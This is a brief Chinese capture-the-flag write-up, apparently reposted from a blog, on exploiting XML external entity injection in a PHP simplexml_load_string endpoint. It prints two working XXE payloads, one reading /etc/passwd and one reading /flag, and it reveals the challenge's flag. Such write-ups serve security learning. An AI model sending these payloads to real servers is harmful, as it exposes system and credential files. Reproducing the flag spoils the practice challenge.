青少年CTF练习平台 PHP的XXE
访问靶场是个phpinfo()页面
题目提示是PHP的XXE,访问simplexml_load_string.php文件
get请求是空白,要使用post方法请求
尝试读取文件,读取/etc/passwd文件
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>
<name>
&xxe;
</name>
</test>
可以读取,直接读取/flag文件
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///flag">
]>
<test>
<name>
&xxe;
</name>
</test>
拿下
flag{35051fe183054e559276a77062bc0092}
原文地址:https://blog.csdn.net/2301_77012231/article/details/145301696
免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!